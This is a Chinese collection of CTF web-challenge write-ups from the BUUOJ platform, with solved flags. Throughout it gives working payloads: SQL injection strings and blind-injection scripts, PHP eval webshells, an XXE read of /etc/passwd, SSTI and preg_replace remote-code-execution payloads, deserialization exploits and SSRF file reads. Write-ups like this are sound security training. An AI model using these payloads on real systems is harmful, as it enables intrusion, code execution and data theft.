BUUOJ-Web WriteUp
[极客大挑战 2019]EasySQL 简单的sql注入
这里是payload
可以登陆进去之后直接看到flag
flag{2c793226-369d-4941-af62-10463af21b6c}
[强网杯 2019]随便注 尝试了各种姿势后发现可以用堆叠注入
爆库名
1’;show databases;#
爆表名
1’;show tables;#
爆列名
1 2 1';show columns from `1919810931114514`;# #爆1919810931114514表 1';show columns from `words`;# #爆words表
发现id在words表中,那么咱只需要改个表名就行了
1 2 3 1';rename table `words` to `words1`; # 把表words更名为words1 rename tables `1919810931114514` to `words`; # 把表1919810931114514更名为words alter table `words` change `flag` `id` varchar(100); # 把words中的列名flag更名为id
然后只要登入就可以看到flag了
1’ or 1=1 #
[极客大挑战 2019]Havefun 打开看见一只可爱的小猫
直接进入ctrl + U看源代码,在下面发现藏东西了
按着GET一个cat变量,出现flag
flag{04dfe2f2-bbf0-43f3-9bf1-faab0790de78}
[极客大挑战 2019]Secret File ctrl+U发现一个Archive_room.php
用burpsuite抓一下包,发现一个secr3t.php
发现是一段简单的代码审计和文件包含
咱可以用伪协议
得到一串base64编码,解码即可得到flag
flag{d67ab513-7a2d-4e45-a27a-99486f6f99ee}
[极客大挑战 2019]LoveSQL 进去后发现是简单的sql注入
1 2 3 4 -1' union select 1,2,3 # # 查看回显 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 # #爆表名 -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 # # 爆列名 -1' union select 1,(select group_concat(concat_ws(0x7e, username, password)) from l0ve1ysq1),3 # #爆数据
最后得到flag
flag{94e175f4-807f-404e-a433-65501ae8595b}
[极客大挑战 2019]Knife 这题提示已经POST了一个一句话木马
直接用蚁剑连接
得到flag
flag{46dce079-289a-4494-98da-139ce0e08a9a}
[极客大挑战 2019]Http ctrl+U发现一个secret.php
进入后依照提示逐一添加header
1 2 3 Referer: https://www.Sycsecret.com User-Agent: Syclover X-Forwarded-For: localhost
即可得到flag
flag{da768d87-8706-4596-bf42-71c1b8fa6453}
[极客大挑战 2019]PHP 有提示可以知道有网站备份文件
运用脚本进行扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl1 = 'http://bb232cbc-9635-4f1f-bbdb-d01f82b431ee.node3.buuoj.cn/' list1 = ['web' , 'website' , 'backup' , 'back' , 'www' , 'wwwroot' , 'temp' ] list2 = ['tar' , 'tar.gz' , 'zip' , 'rar' ] for i in list1: for j in list2: back = str (i) + '.' + str (j) url = str (url1) + '/' + back print(back + ' ' , end='' ) print(requests.get(url).status_code)
得到一个www.zip
发现是一道php反序列化绕过,这里简化了一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { die (); } } }
根据代码构造payload
1 select=O:4 :"Name" :3 :{s:14 :"\0Name\0username" ;s:5 :"admin" ;s:14 :"\0Name\0password" ;i:100 ;}
然后用python提交get,成功得到flag(虽然不知道为啥Hackbar提交没反应
flag{361e4af6-f242-4f37-888e-17491b76ecd2}
[极客大挑战 2019]Upload 进入发现需要上传文件,构造一个一句话木马扔上去
用burpsuites抓包改一下文件类型
然后提示不能包含<?字符,去度娘搜了一下之后发现可以在文件头部加上**GIF89a?**绕过这个点
然后又提示不能用php类型文件
一番查找了之后发现了一个.phtml类型
重新构造了一下木马
1 2 GIF89a? <script language="php">eval($_POST['rossweisse'])</script>
用菜刀链接即可得到flag
flag{43921141-5d8f-4c88-b07c-55b0801220ca}
[极客大挑战 2019]BabySQL 这题也是一道sql注入题
按照原来的套路试了几次之后发现把关键字都ban了
那么我们可双写关键字来进行绕过
1 2 3 -1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 #爆表名 -1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' %23 #爆列名 -1' ununionion seselectlect 1,group_concat(concat_ws(0x7e,username,passwoorrd)),3 frfromom b4bsql %23 #爆数据
拿到flag
flag{cbf6aeea-a401-4c47-b000-c373eaef6289}
[极客大挑战 2019]BuyFlag 这题进来之后发现只有一个payflag页面可以进
进入之后ctrl+U在下面发现了一串代码
1 2 3 4 5 6 7 8 9 10 11 <!-- ~~~post money and password~~~ if (isset ($_POST ['password' ])) { $password = $_POST ['password' ]; if (is_numeric($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; } } -->
可以得知咱要以POST方式发送一个不是数字并且要等于404的password变量和money变量
发现burpsuite重发之后会出现一句Only Cuit’s students can buy the FLAG
这里咱重新查看下抓的包,发现了一个user参数,令user=1
发送出去之后前两个都正确了,但是还是出现了一句Nember lenth is too long
那只能是money参数出现了问题,将money=100000000改为money=1e9即可得到flag
flag{68ff87f9-0c7f-4c49-b057-2af8e9ea3ed3}
[极客大挑战 2019]HardSQL 这题sql注入惯例试了下1’ or 1=1 %23
结果很友善的回了一句臭弟弟
之后试了一下其他的发现把空格等一些字符还有union给ban了,于是就想到了报错注入
1’or(updatexml(1,concat_ws((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e,0x7e),1))%23 #爆表名 1’or(updatexml(1,concat_ws((select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e,0x7e),1))%23 #爆列名 1’or(updatexml(1,concat_ws((select(concat_ws(0x7e,username,password))from(H4rDsq1)),0x7e,0x7e),1))%23 #爆数据 (结果发现只有一半,后面查到了一个right()
1’or(updatexml(1,concat_ws((select(right(group_concat(password),20))from(H4rDsq1)),0x7e,0x7e),1))%23 #爆后边的flag (这里要注意flag的连接,不是对半开的
这里是flag
flag{16f2507c-b985-4744-9b3b-8f02007f0c29}
安洵杯easy_web md5碰撞绕过 学习到了可以通过md5碰撞绕过md5
但是找到的那个.exe程序运行了没反应,所以先把参数记下来后面用到可以直接拿来先用着
网鼎杯phpweb
file_get_contents()得到源码 抓包后发现可以输入点,可以看出是放个函数和函数的参数
于是我们可以利用file_get_contents()
函数来得到index.php的源代码
func=file_get_contents()&p=index.php
拿到index.php源代码之后可以发现func那里拦截了许多函数,但是有一个有一个Test类可以进行利用
反序列化RCE 构造反序列化代码进行RCE
1 2 3 4 5 class Test { var $p = "ls /" ; var $func = "system" ; }
tips:flag并不在根目录下,所以还需要find / -name flag
来查找flag
最终得到flag
flag{d1569b58-26c5-4528-95fa-150f11cab19e}
[De1CTF 2019]SSRF Me flask框架分析 打开题目拿到一串很长很长的代码
优化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print(resp) tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if getSign(self.action, self.param) == self.sign: return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" , "r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
先看路由,有一个/geneSign和一个/De1ta
看看/geneSign
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
get方法传入一个param,然后到getSign函数
1 2 def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
md5编码一个随机数值+param+action
再看看/De1ta
1 2 3 4 5 6 7 8 9 10 @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
通过GET方法传入param,通过cookie传入action和sign
再往下会遇到一个if,然后进入waf函数
看看waf函数
1 2 3 4 5 6 def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False
如果参数头是gopher
或file
就会被防住
sign payload构造 最后会构造一个Task类
Task类里首先会遇到一个checkSign方法
会判断getSign(self.action, self.param) == self.sign
这里的意思就是我们要构造一个getSign使得md5(param+action)
==md5(param+'scan'(不可控))
,这里我们可以利用/geneSign路由进行自主构造sign参数
param=flag.txtread,因为Task类里的if判断是包含,所以我们可以在后面加一个read绕过判断
最后可以得到sign的payload
param=flag.txtread
action payload构造 最后就是
构造一个action的payload进行flag.txt的读取,action又需要同时进入两个if
所以我们可以这样整
param=flag.txt
action=readscan
sign=94f5d01e5071cf13ee12db1b5b76c89f(sign就拿之前在/geneSign路由上得到的
最后得到flag
flag{4d8642e8-b33b-439d-8219-651342e482b5}
[NCTF2019]Fake XML cookbook XML实体注入 抓包后发现username和password都是xml格式的,所以我们可以选择XML注入
读取/etc/passwd文件
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > 1</password > </user >
读取flag
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > 1</password > </user >
最终得到flag
flag{b831032d-7b48-4d76-bb55-01a9a629def6}
什么是XML 顺便了解了一下XML和什么是XXE注入
XXE看字
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML可以看看这篇文章浅谈XML实体注入漏洞
[ASIS 2019]Unicorn shop 进入后可以输入队伍ID和价钱,1、2、3都试了一遍然后都出错了,猜测Team4购买成功后就可以拿到flag了
试试team4,然后提示Only one char(?) allowed!
,只允许输入一个字符
UTF-8特殊字符代替 看了看源码发现提示
了解了一下UTF-8编码,发现UTF-8编码其实有特别多特别多的字符
这里可以去这个网站 ,这个网站拥有许多UTF-8字符
查找thousand,最后发现了一个字符ↁ,这个字符的Numeric Value为5000,正好符合我们的要求
最后即可得到flag
flag{76457339-63ab-4556-b52e-5a2f6d054406}
[watevrCTF-2019]Supercalc SSTI获取screat_key 题目是一个简易计算器,测试1/0
发现出现错误,猜测是模板注入,输入1/0#{{config}}
,发现了screat_key
cookie伪造 用flask-session-cookie-manager
解出cookie的结构,使用上面获取的key进行cookie伪造
1 "{'history':[{'code':'__import__[\"os\"].popen(\"cat flag.txt\").read()'}]}"
最后得到flag
flag{3990ba1e-8331-4dd6-8bae-77ac90a09c81}
总结 这题对现在的我来说是一道比较新鲜的题,知道了还有cookie伪造的这个姿势,重新了解了一下cookie的含义
[BSidesCF 2020]Hurdles 进入题目看见一句You'll be rewarded with a flag if you can make it over some /hurdles.
curl的命令使用 通过curl查看
1 curl -i 'http://node3.buuoj.cn:27112/hurdles'
得到I'm sorry, I was expecting the PUT Method.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles'
得到I'm sorry, Your path would be more exciting if it ended in !
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!'
得到I'm sorry, Your URL did not ask to
getthe
flag in its query string.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag'
得到I'm sorry, I was looking for a parameter named &=&=&
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=1'
得到
I'm sorry, I expected '&=&=&' to equal '%00 #这有个换行符的 '
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A'
得到I'm sorry, Basically, I was expecting the username player.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:player' # 暂时不知道密码,随便输一个
得到I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b'
得到I'm sorry, I was expecting you to be using a 1337 Browser.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower'
得到I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000'
得到I'm sorry, I was eXpecting this to be Forwarded-For someone!
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 127.0.0.1'
得到I'm sorry, I was eXpecting this to be Forwarded For someone through another proxy!
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 1.1.1.1,127.0.0.1'
得到I'm sorry, I was expecting the forwarding client to be 13.37.13.37
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1'
得到I'm sorry, I was expecting a Fortune Cookie
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=Fuxku'
得到I'm sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.
1 2 # 这里需要cookie包含2021年的RFC编号,可以到这查https://datatracker.ietf.org/doc/draft-ietf-httpstate-cookie/23/ curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265'
得到I'm sorry, I expect you to accept only plain text media (MIME) type.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain'
得到I'm sorry, Я ожидал, что вы говорите по-русски.
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru'
得到I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru' -H 'origin: https://ctf.bsidessf.net'
得到I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?
1 curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru' -H 'origin: https://ctf.bsidessf.net' -e 'https://ctf.bsidessf.net/challenges'
最终得到flag
flag{a3dda583-ca36-4b88-935f-cb4bbbeef896}
[BJDCTF2020]Cookie is so stable SSTI(Twig Twig的模板注入,判断如下:
49 回显7777777 => Jinja2 ,回显49 => Twig
payload
1 {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("cat /flag")}}
拿到flag
flag{c485b15c-f3df-4dc8-abb3-ed322ea30c66}
[CISCN 2019 初赛]Love Math php函数拼接 构造payload
1 c=$pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));$$pi {pi}($$pi {abs})&pi=system&abs=cat /flag
base_convert(37907361743,10,36)构造函数名hex2bin,hex2bin可以将十六进制转换为ASCII字符
先使用dechex函数将1598506324
转换为十六进制,然后再使用hex2bin将十六进制转换成ASCII字符即可得到_GET
php特性利用 php中可以使用{}代替[],然后再拼接一下
1 2 $$pi {pi} => $_GET {pi}($$pi {abs}) => ($_GET {abs})
最后传入pi=system,abs=cat /flag
即可得到flag
flag{693ee03e-518a-46bb-9102-79ac9f502b31}
[BSidesCF 2020]Had a bad day php伪协议嵌套 利用php伪协议可以读取到index的源码
得到源码
1 2 3 4 5 6 7 8 9 $file = $_GET ['category' ];if (isset ($file )) { if (strpos($file , "woofers" ) !== false || strpos($file , "meowers" ) !== false || strpos($file , "index" )) { include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } }
发现需要包括woofers
、meowers
、index
才会运行文件包含
查了查之后知道了php的php://filter
伪协议可以嵌套一层协议
即可得到flag
flag{ff24c3cf-9d00-4527-acab-ee177724d0a1}
[安洵杯 2019]easy_serialize_php phpinfo信息获取 看到题目中有个eval('phpinfo();');
打开后在phpinfo里发现了一个d0g3_f1ag.php
变量覆盖漏洞 题目所给的源代码中有extract函数,可形成变量覆盖漏洞,具体看这
于是可以重新传入SESSION参数进行覆盖
反序列化对象逃逸 由题目可知,想要得到flag,必须得构造一个img=d0g3_f1ag.php,但是如果直接传入d0g3_f1ag.php则会被正则替换掉
于是可以使用反序列化的对象逃逸性质
正常序列化
1 2 3 4 5 <?php $_SESSION ["user" ] = 'guest' ;$_SESSION ["function" ] = 'ababab' ;$_SESSION ["img" ] = base64_encode('d0g3_f1ag.php' );echo serialize($_SESSION );
可以得到
a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:6:”ababab”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
于是我们可以这样POST
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function ]=a " ;s:8 :"function" ;s:6 :"ababab" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}
会得到这个
1 2 3 <?php $flag = 'flag in /d0g3_fllllllag' ; ?>
解释一下.jpg
按照上面POST的序列化,可以得到
1 a:3 :{s:4 :"user" ;s:24 :"flagflagflagflagflagflag" ;s:8 :"function" ;s:70 :"a" ;s:8 :"function" ;s:6 :"ababab" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA==";}
而flag被过滤了,于是会得到
1 a:3 :{s:4 :"user" ;s:24 :"" ;s:8 :"function" ;s:70 :"a" ;s:8 :"function" ;s:6 :"ababab" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA==";}
由于user的参数为24,而原来的6个flag变为””了,所以会往后继续读取参数
所以[]的参数就被读取为user的参数了,而原来的function则被替换掉了,再加上最后的}闭合,后面的img也被替换掉了,就造成了反序列化的对象逃逸
1 a:3 :{s:4 :"user" ;s:24 :"[" ;s:8 :"function" ;s:70 :"a]" ;s:8 :"function" ;s:6 :"ababab" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA==";}
最后则通过提示flag在/d0g3_fllllllag
中,重新放个base64进去得到flag
flag{f7eb2141-7201-43fe-b97d-cc5defacd03d}
[SUCTF 2019]Pythonginx urlsplit函数处理问题 题目首先调用了urlsplit函数,讲url分割后判断是否为suctf.cc
然后后面有调用了unurlsplit函数将url合起来,再次判断是否为suctf.cc
测试函数
1 2 3 4 5 6 7 8 9 10 from urllib import parsefrom urllib.parse import urlsplit, urlunspliturl = "file:////suctf.cc/abababab" parts = parse.urlsplit(url) print(parts) url2 = urlunsplit(parts) parts2 = parse.urlsplit(url2) print(parts2)
则可以得到
1 2 SplitResult(scheme='file' , netloc='' , path='//suctf.cc/abababab' , query='' , fragment='' ) SplitResult(scheme='file' , netloc='suctf.cc' , path='/abababab' , query='' , fragment='' )
这就可以成功绕过前面分割后的判断语句
nginx的配置
配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
这就可以构造payload
1 file:////suctf.cc/usr/local/nginx/conf/nginx.conf
得到一个flag路径/usr/fffffflag
获取flag
1 file:////suctf.cc/usr/fffffflag
flag{23da88ac-576f-4e40-819a-06e1c7da43fb}
[WUSTCTF2020]朴实无华 进入robots.txt发现一个/fAke_f1agggg.php,进去后在http协议头上发现了一个fl4g.php
进入后是一串代码审计
level1 首先第一串是intval函数绕过,优化一下代码,我们是要使之echo 1才能绕过
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval($num ) < 2020 && intval($num + 1 ) > 2021 ){ echo 1 ; }else { echo 2 ; } }else { echo 3 ; }
构造payload
?num=1e5
level2 然后是md5绕过
1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5($md5 )) echo 1 ; else echo 2 ; }else { echo 3 ; }
这里我们得遍历出来一个md5前是0e开头并且md5后还是0e开头的字符串
构造payload
?num=1e5&md5=0e215962017
level3 最后就是命令注入的简单过滤了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr($get_flag ," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag ); echo 3 ; }else { echo 2 ; } }else { echo 1 ; }
过滤了空格还过滤了cat,但是也简单
构造payload
?num=0x23333&md5=0e215962017&get_flag=base64%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
最后得到flag
flag{9093578f-7506-4128-b9d0-e2c08aab5bcd}
[网鼎杯 2020 朱雀组]Nmap Nmap的命令使用 1 2 3 4 5 6 输出 -oN 标准输出 -oX XMl输出 -oS script jlddi3 -oG grepable -oA 同时输出三种主要格式
构造payload
127.0.0.1 ‘ -oN b.phtml <?=eval($_POST[a]);?>’
可以传一个马上去,然后post命令注入
最后得到flag
flag{5ba50035-1b24-49c0-86a1-57d28288c511}
[NPUCTF2020]ReadlezPHP 明示阴间题?
查看源代码发现一个/time.php?source
反序列化+php函数拼接 题目给出代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp;if (isset ($_GET ['source' ])){ highlight_file(__FILE__ ); die (0 ); } @$ppp = unserialize($_GET ["data" ]);
查了好久怎么绕__construct,结果最后发现其实根本不需要绕_(¦3」∠)_
构造payload试试
1 2 3 4 5 6 7 8 9 class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "ls /" ; $this ->b = "system" ; } }
发现没啥用,应该是system被ban了,试试assert
1 2 3 4 5 6 7 8 9 class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "phpinfo()" ; $this ->b = "assert" ; } }
成功进到了phpinfo(),然后直接查找flag就可以了
最后得到flag
flag{63ff34b3-4698-48c7-8d82-19be438a88f3}
[BJDCTF2020]EasySearch 试了试啥东西都没找到,最后试试扫目录,最后拿到个index.php.swp
代码审计
1 2 $admin = '6d0bc1' ;if ( $admin == substr(md5($_POST ['password' ]),0 ,6 ))
这里我们知道需要得到一个password是md5编码后的前六位与admin参数值相等才能进去if
用脚本跑
1 2 3 4 5 6 7 8 9 import hashlibi = 0 while 1 : md5 = hashlib.md5(f"{i} " .encode('utf-8' )).hexdigest() md6 = md5[0 :6 ] if md6 == '6d0bc1' : print(i) break i += 1
得到一串密码2020666
,成功登入
但是啥都没有,查看http协议头
发现一个Url_is_here: public/5c1e27af103c53033f640c42098db9a537470926.shtml
这里通过之前的代码我们可以知道这一串是随机生成的hash作为文件名,然后把密码啊存进去
Apache SSI远程命令执行 原理在这 ,重新输入一下username进行命令执行
username=&password=2020666
得到flag
flag{555f614a-6cb7-4175-be3c-8cf0205ace8d}
[BJDCTF2020]ZJCTF,不过如此 伪协议传输流截取 代码审计是要绕过一个if
if(isset($text)&&(file_get_contents($text,’r’)===”I have a dream”))
用伪协议来截取一下传输流
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
然后需要拿到next.php,继续用伪协议
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
然后base64解码,得到一串源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
这里下面那两个函数都没啥用,我们直接看上面的complex函数
preg_replace命令执行 原理在这 ,构造paoload
?\S*={${phpinfo()}}
成功执行了phpinfo()函数,构造一个马进去
?\S*=${eval($_POST[cmd])}
然后命令注入
cmd=system(‘cat /flag’);
得到flag
flag{73039dca-6653-471d-ac00-e08082493c44}
[极客大挑战 2019]FinalSQL SQL盲注,不多说,直接上脚本
爆表名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php" res = '' for x in range (1 , 200 ): left = 32 right = 128 while left < right: mid = int ((left + right) / 2 ) sql = f"?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{x} ,1))<{mid} )^1" result = requests.get(url + sql) if "ERROR" in result.text: left = mid + 1 else : right = mid res += chr (int ((left + right - 1 ) / 2 )) print(f"result now is: {res} " ) if "}" in res: break
爆列名
